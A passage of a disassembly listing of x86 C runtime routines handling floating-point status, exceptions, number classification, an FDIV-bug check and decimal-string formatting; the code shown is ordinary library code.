ptr [ebp+var_30], edx mov eax, dword ptr ds:dbl_454150+4 mov dword ptr [ebp+var_30+4], eax jmp short loc_42BC25 ; --------------------------------------------------------------------------- loc_42BC1A: ; CODE XREF: sub_42BAE0+125j fld ds:dbl_454160 fchs fstp [ebp+var_30] loc_42BC25: ; CODE XREF: sub_42BAE0+138j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_30] mov [ecx], edx mov eax, dword ptr [ebp+var_30+4] mov [ecx+4], eax jmp short loc_42BCB3 ; --------------------------------------------------------------------------- loc_42BC35: ; CODE XREF: sub_42BAE0+B5j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 41h jnz short loc_42BC5A mov edx, dword ptr ds:dbl_454160 mov dword ptr [ebp+var_38], edx mov eax, dword ptr ds:dbl_454160+4 mov dword ptr [ebp+var_38+4], eax jmp short loc_42BC65 ; --------------------------------------------------------------------------- loc_42BC5A: ; CODE XREF: sub_42BAE0+165j fld ds:dbl_454150 fchs fstp [ebp+var_38] loc_42BC65: ; CODE XREF: sub_42BAE0+178j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_38] mov [ecx], edx mov eax, dword ptr [ebp+var_38+4] mov [ecx+4], eax jmp short loc_42BCB3 ; --------------------------------------------------------------------------- loc_42BC75: ; CODE XREF: sub_42BAE0+C7j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 41h jnz short loc_42BC9A mov edx, dword ptr ds:dbl_454160 mov dword ptr [ebp+var_40], edx mov eax, dword ptr ds:dbl_454160+4 mov dword ptr [ebp+var_40+4], eax jmp short loc_42BCA5 ; --------------------------------------------------------------------------- loc_42BC9A: ; CODE XREF: sub_42BAE0+1A5j fld ds:dbl_454160 fchs fstp [ebp+var_40] loc_42BCA5: ; CODE XREF: sub_42BAE0+1B8j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_40] mov [ecx], edx mov eax, dword ptr [ebp+var_40+4] mov [ecx+4], eax loc_42BCB3: ; CODE XREF: sub_42BAE0+BBj ; sub_42BAE0+CDj ... mov ecx, [ebp+var_4] and ecx, 0FFFFFFFEh mov [ebp+var_4], ecx jmp loc_42BE1E ; --------------------------------------------------------------------------- loc_42BCC1: ; CODE XREF: sub_42BAE0+6Dj ; sub_42BAE0+7Bj mov edx, [ebp+arg_0] and edx, 2 test edx, edx jz loc_42BE1E mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz loc_42BE1E mov [ebp+var_8], 0 mov ecx, [ebp+arg_0] and ecx, 10h test ecx, ecx jz short loc_42BCF5 mov [ebp+var_8], 1 loc_42BCF5: ; CODE XREF: sub_42BAE0+20Cj mov edx, [ebp+arg_4] fld qword ptr [edx] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 40h jnz loc_42BDFE lea eax, [ebp+var_18] push eax ; int mov ecx, [ebp+arg_4] mov edx, [ecx+4] push edx mov eax, [ecx] push eax ; double call sub_42C170 add esp, 0Ch fstp [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, 600h mov [ebp+var_14], ecx cmp [ebp+var_14], 0FFFFFBCEh jge short loc_42BD51 fld [ebp+var_10] fmul ds:dbl_43D2F0 fstp [ebp+var_10] mov [ebp+var_8], 1 jmp loc_42BDEE ; --------------------------------------------------------------------------- loc_42BD51: ; CODE XREF: sub_42BAE0+257j fld [ebp+var_10] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 1 jz short loc_42BD6A mov [ebp+var_44], 1 jmp short loc_42BD71 ; --------------------------------------------------------------------------- loc_42BD6A: ; CODE XREF: sub_42BAE0+27Fj mov [ebp+var_44], 0 loc_42BD71: ; CODE XREF: sub_42BAE0+288j mov edx, [ebp+var_44] mov [ebp+var_1C], edx mov ax, word ptr [ebp+var_10+6] and ax, 0Fh mov word ptr [ebp+var_10+6], ax mov cx, word ptr [ebp+var_10+6] or cl, 10h mov word ptr [ebp+var_10+6], cx jmp short loc_42BD99 ; --------------------------------------------------------------------------- loc_42BD90: ; CODE XREF: sub_42BAE0+2FEj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_42BD99: ; CODE XREF: sub_42BAE0+2AEj cmp [ebp+var_14], 0FFFFFC03h jge short loc_42BDE0 mov eax, dword ptr [ebp+var_10] and eax, 1 test eax, eax jz short loc_42BDB9 cmp [ebp+var_8], 0 jnz short loc_42BDB9 mov [ebp+var_8], 1 loc_42BDB9: ; CODE XREF: sub_42BAE0+2CAj ; sub_42BAE0+2D0j mov ecx, dword ptr [ebp+var_10] shr ecx, 1 mov dword ptr [ebp+var_10], ecx mov edx, dword ptr [ebp+var_10+4] and edx, 1 test edx, edx jz short loc_42BDD6 mov eax, dword ptr [ebp+var_10] or eax, 80000000h mov dword ptr [ebp+var_10], eax loc_42BDD6: ; CODE XREF: sub_42BAE0+2E9j mov ecx, dword ptr [ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_42BD90 ; --------------------------------------------------------------------------- loc_42BDE0: ; CODE XREF: sub_42BAE0+2C0j cmp [ebp+var_1C], 0 jz short loc_42BDEE fld [ebp+var_10] fchs fstp [ebp+var_10] loc_42BDEE: ; CODE XREF: sub_42BAE0+26Cj ; sub_42BAE0+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_42BE05 ; --------------------------------------------------------------------------- loc_42BDFE: ; CODE XREF: sub_42BAE0+225j mov [ebp+var_8], 1 loc_42BE05: ; CODE XREF: sub_42BAE0+31Cj cmp [ebp+var_8], 0 jz short loc_42BE15 push 10h call sub_42C330 add esp, 4 loc_42BE15: ; CODE XREF: sub_42BAE0+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_42BE1E: ; CODE XREF: sub_42BAE0+35j ; sub_42BAE0+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_42BE45 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_42BE45 push 20h call sub_42C330 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_42BE45: ; CODE XREF: sub_42BAE0+346j ; sub_42BAE0+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_42BAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42BE60(int,int,int,int,int,int,double,int) sub_42BE60 proc near ; CODE XREF: sub_42B3B0+2Ap ; _0:0042B44Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_42BF40 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_42BED7 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_42C2F0 add esp, 8 lea eax, [ebp+var_20] push eax call sub_431F50 add esp, 4 test eax, eax jnz short loc_42BED2 mov ecx, [ebp+arg_0] push ecx call sub_42BF00 add esp, 4 loc_42BED2: ; CODE XREF: sub_42BE60+64j fld [ebp+var_8] jmp short loc_42BEF7 ; --------------------------------------------------------------------------- loc_42BED7: ; CODE XREF: sub_42BE60+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_42C2F0 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_42BF00 add esp, 4 fld [ebp+arg_18] loc_42BEF7: ; CODE XREF: sub_42BE60+75j mov esp, ebp pop ebp retn sub_42BE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BF00 proc near ; CODE XREF: sub_42B480+92p ; _0:0042B5EEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_42BF1E cmp [ebp+var_4], 1 jle short loc_42BF36 cmp [ebp+var_4], 3 jle short loc_42BF2B jmp short loc_42BF36 ; --------------------------------------------------------------------------- loc_42BF1E: ; CODE XREF: sub_42BF00+Ej call sub_429A90 mov dword ptr [eax], 21h jmp short loc_42BF36 ; --------------------------------------------------------------------------- loc_42BF2B: ; CODE XREF: sub_42BF00+1Aj call sub_429A90 mov dword ptr [eax], 22h loc_42BF36: ; CODE XREF: sub_42BF00+14j ; sub_42BF00+1Cj ... mov esp, ebp pop ebp retn sub_42BF00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BF40 proc near ; CODE XREF: sub_42BE60+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_42BF56 ; --------------------------------------------------------------------------- loc_42BF4D: ; CODE XREF: sub_42BF40:loc_42BF77j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42BF56: ; CODE XREF: sub_42BF40+Bj cmp [ebp+var_4], 1Bh jge short loc_42BF79 mov ecx, [ebp+var_4] mov edx, ds:dword_454078[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_42BF77 mov eax, [ebp+var_4] mov eax, ds:off_45407C[eax*8] jmp short loc_42BF7B ; --------------------------------------------------------------------------- loc_42BF77: ; CODE XREF: sub_42BF40+29j jmp short loc_42BF4D ; --------------------------------------------------------------------------- loc_42BF79: ; CODE XREF: sub_42BF40+1Aj xor eax, eax loc_42BF7B: ; CODE XREF: sub_42BF40+35j mov esp, ebp pop ebp retn sub_42BF40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BF80 proc near ; CODE XREF: sub_42B480+4Ap ; _0:0042B5A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_42BF97 mov [ebp+var_4], 5 jmp short loc_42BFEA ; --------------------------------------------------------------------------- loc_42BF97: ; CODE XREF: sub_42BF80+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42BFAA mov [ebp+var_4], 1 jmp short loc_42BFEA ; --------------------------------------------------------------------------- loc_42BFAA: ; CODE XREF: sub_42BF80+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_42BFBD mov [ebp+var_4], 2 jmp short loc_42BFEA ; --------------------------------------------------------------------------- loc_42BFBD: ; CODE XREF: sub_42BF80+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42BFD0 mov [ebp+var_4], 3 jmp short loc_42BFEA ; --------------------------------------------------------------------------- loc_42BFD0: ; CODE XREF: sub_42BF80+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_42BFE3 mov [ebp+var_4], 4 jmp short loc_42BFEA ; --------------------------------------------------------------------------- loc_42BFE3: ; CODE XREF: sub_42BF80+58j mov [ebp+var_4], 0 loc_42BFEA: ; CODE XREF: sub_42BF80+15j ; sub_42BF80+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42BF80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C000 proc near ; CODE XREF: _0:0042C099p ; sub_42C170+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_42C000 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42C000 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C0F0 proc near ; CODE XREF: sub_41FFF0+3Fp ; sub_420210+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_42C109 cmp [ebp+arg_0], 0 jnz short loc_42C109 mov eax, 1 jmp short loc_42C16A ; --------------------------------------------------------------------------- loc_42C109: ; CODE XREF: sub_42C0F0+Aj ; sub_42C0F0+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_42C11F cmp [ebp+arg_0], 0 jnz short loc_42C11F mov eax, 2 jmp short loc_42C16A ; --------------------------------------------------------------------------- loc_42C11F: ; CODE XREF: sub_42C0F0+20j ; sub_42C0F0+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_42C13A mov eax, 3 jmp short loc_42C16A ; --------------------------------------------------------------------------- loc_42C13A: ; CODE XREF: sub_42C0F0+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_42C168 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_42C161 cmp [ebp+arg_0], 0 jz short loc_42C168 loc_42C161: ; CODE XREF: sub_42C0F0+69j mov eax, 4 jmp short loc_42C16A ; --------------------------------------------------------------------------- loc_42C168: ; CODE XREF: sub_42C0F0+5Fj ; sub_42C0F0+6Fj xor eax, eax loc_42C16A: ; CODE XREF: sub_42C0F0+17j ; sub_42C0F0+2Dj ... pop ebp retn sub_42C0F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42C170(double,int) sub_42C170 proc near ; CODE XREF: sub_42BAE0+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 40h jz short loc_42C1A0 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_42C29A ; --------------------------------------------------------------------------- loc_42C1A0: ; CODE XREF: sub_42C170+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_42C269 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_42C1C9 cmp dword ptr [ebp+arg_0], 0 jz loc_42C269 loc_42C1C9: ; CODE XREF: sub_42C170+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 1 jz short loc_42C1E9 mov [ebp+var_14], 1 jmp short loc_42C1F0 ; --------------------------------------------------------------------------- loc_42C1E9: ; CODE XREF: sub_42C170+6Ej mov [ebp+var_14], 0 loc_42C1F0: ; CODE XREF: sub_42C170+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_42C1F6: ; CODE XREF: sub_42C170+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_42C235 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_42C222 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_42C222: ; CODE XREF: sub_42C170+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42C1F6 ; --------------------------------------------------------------------------- loc_42C235: ; CODE XREF: sub_42C170+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_42C252 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_42C252: ; CODE XREF: sub_42C170+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_42C000 add esp, 0Ch fstp [ebp+var_C] jmp short loc_42C29A ; --------------------------------------------------------------------------- loc_42C269: ; CODE XREF: sub_42C170+3Fj ; sub_42C170+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_42C000 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_42C29A: ; CODE XREF: sub_42C170+2Bj ; sub_42C170+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_42C170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2B0 proc near ; CODE XREF: sub_42B610+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C2B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2D0 proc near ; CODE XREF: sub_42B610+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C2F0 proc near ; CODE XREF: sub_41FFF0+11p ; sub_41FFF0+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C330 proc near ; CODE XREF: sub_42BAE0+25p ; sub_42BAE0+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42C34D fld ds:tbyte_454178 fistp [ebp+var_C] wait loc_42C34D: ; CODE XREF: sub_42C330+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42C367 fstsw ax fld ds:tbyte_454178 fstp [ebp+var_8] wait fstsw ax loc_42C367: ; CODE XREF: sub_42C330+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_42C37B fld ds:tbyte_454184 fstp [ebp+var_8] wait loc_42C37B: ; CODE XREF: sub_42C330+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_42C38E fldz fld1 fdivrp st(1), st fstp st wait loc_42C38E: ; CODE XREF: sub_42C330+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_42C39E fldpi fstp [ebp+var_8] wait loc_42C39E: ; CODE XREF: sub_42C330+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3B0 proc near ; CODE XREF: sub_420130+15p ; _0:00432025p push ebp mov ebp, esp push 30000h push 10000h call sub_431FF0 add esp, 8 pop ebp retn sub_42C3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C3D0 proc near ; CODE XREF: sub_42C430:loc_42C469p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp ds:dbl_43CD98 fnstsw ax test ah, 41h jnz short loc_42C41D mov [ebp+var_1C], 1 jmp short loc_42C424 ; --------------------------------------------------------------------------- loc_42C41D: ; CODE XREF: sub_42C3D0+42j mov [ebp+var_1C], 0 loc_42C424: ; CODE XREF: sub_42C3D0+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C430 proc near ; CODE XREF: sub_420130+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" call ds:off_4F5370 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42C469 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax call ds:off_4F5390 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42C469 push 0 call [ebp+var_8] jmp short loc_42C46E ; --------------------------------------------------------------------------- loc_42C469: ; CODE XREF: sub_42C430+18j ; sub_42C430+30j call sub_42C3D0 loc_42C46E: ; CODE XREF: sub_42C430+37j mov esp, ebp pop ebp retn sub_42C430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C480 proc near ; CODE XREF: sub_427F60+6CFp ; DATA XREF: sub_420170+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_421C90 add esp, 4 cmp eax, 65h jz short loc_42C4E0 loc_42C49A: ; CODE XREF: sub_42C480+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp ds:dword_453DF0, 1 jle short loc_42C4C2 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_427040 add esp, 8 mov [ebp+var_C], eax jmp short loc_42C4DA ; --------------------------------------------------------------------------- loc_42C4C2: ; CODE XREF: sub_42C480+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_42C4DA: ; CODE XREF: sub_42C480+40j cmp [ebp+var_C], 0 jnz short loc_42C49A loc_42C4E0: ; CODE XREF: sub_42C480+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, ds:byte_453DF4 mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42C4FB: ; CODE XREF: sub_42C480+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_42C4FB mov esp, ebp pop ebp retn sub_42C480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C530 proc near ; CODE XREF: sub_427F60+6F1p ; DATA XREF: sub_420170+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42C534: ; CODE XREF: sub_42C530+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42C55A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, ds:byte_453DF4 cmp eax, ecx jz short loc_42C55A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_42C534 ; --------------------------------------------------------------------------- loc_42C55A: ; CODE XREF: sub_42C530+Cj ; sub_42C530+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_42C603 loc_42C571: ; CODE XREF: sub_42C530+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42C59C mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_42C59C mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_42C59C mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42C571 ; --------------------------------------------------------------------------- loc_42C59C: ; CODE XREF: sub_42C530+49j ; sub_42C530+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_42C5AB: ; CODE XREF: sub_42C530+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_42C5C1 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_42C5AB ; --------------------------------------------------------------------------- loc_42C5C1: ; CODE XREF: sub_42C530+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, ds:byte_453DF4 cmp ecx, edx jnz short loc_42C5DB mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_42C5DB: ; CODE XREF: sub_42C530+A0j ; sub_42C530+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_42C603 jmp short loc_42C5DB ; --------------------------------------------------------------------------- loc_42C603: ; CODE XREF: sub_42C530+3Bj ; sub_42C530+CFj mov esp, ebp pop ebp retn sub_42C530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C610 proc near ; DATA XREF: sub_420170+2Bo ; _2:off_4541A0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 1 jnz short loc_42C62F mov [ebp+var_4], 1 jmp short loc_42C636 ; --------------------------------------------------------------------------- loc_42C62F: ; CODE XREF: sub_42C610+14j mov [ebp+var_4], 0 loc_42C636: ; CODE XREF: sub_42C610+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42C610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C640 proc near ; CODE XREF: sub_429E90+1138p ; DATA XREF: sub_420170+17o ... var_C = dword ptr 